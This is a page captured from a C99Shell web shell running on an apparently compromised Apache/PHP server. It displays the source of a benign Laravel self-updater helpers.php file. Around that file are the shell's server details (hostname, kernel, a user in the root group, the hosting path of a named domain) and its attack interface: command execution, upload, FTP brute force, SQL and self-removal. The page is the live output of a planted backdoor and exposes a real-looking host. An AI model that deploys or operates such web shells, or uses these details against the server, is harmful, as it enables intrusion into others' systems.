!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/packages/codedge/laravel-selfupdater/src/   drwxr-xr-x
Free 28.47 GB of 117.98 GB (24.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     helpers.php (1.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

use 
Illuminate\Support\Str;
use 
Symfony\Component\Finder\Finder;

if (! 
\function_exists('dirsIntersect')) {
    
/**
     * Check if files in one array (i. e. directory) are also exist in a second one.
     *
     * @param array $directory
     * @param array $excludedDirs
     *
     * @return bool
     */
    
function dirsIntersect(array $directory, array $excludedDirs): bool
    
{
        return 
count(array_intersect($directory$excludedDirs)) ? true false;
    }
}

if (! 
\function_exists('checkPermissions')) {
    
/**
     * Check a given directory recursively if all files are writeable.
     *
     * @param Finder $directory
     *
     * @return bool
     */
    
function checkPermissions(Finder $directory): bool
    
{
        
$checkPermission true;

        
collect($directory->getIterator())->each(function (SplFileInfo $file) use (&$checkPermission) {
            if (
$file->isWritable() === false) {
                
$checkPermission false;
            }
        });

        return 
$checkPermission;
    }
}

if (! 
\function_exists('createFolderFromFile')) {
    
/**
     * Create a folder name including path from a given file.
     * Input: /tmp/my_zip_file.zip
     * Output: /tmp/my_zip_file/.
     *
     * @param string $file
     *
     * @return string
     */
    
function createFolderFromFile(string $file): string
    
{
        
$pathinfo pathinfo($file);

        return 
Str::finish($pathinfo['dirname'], DIRECTORY_SEPARATOR).$pathinfo['filename'];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--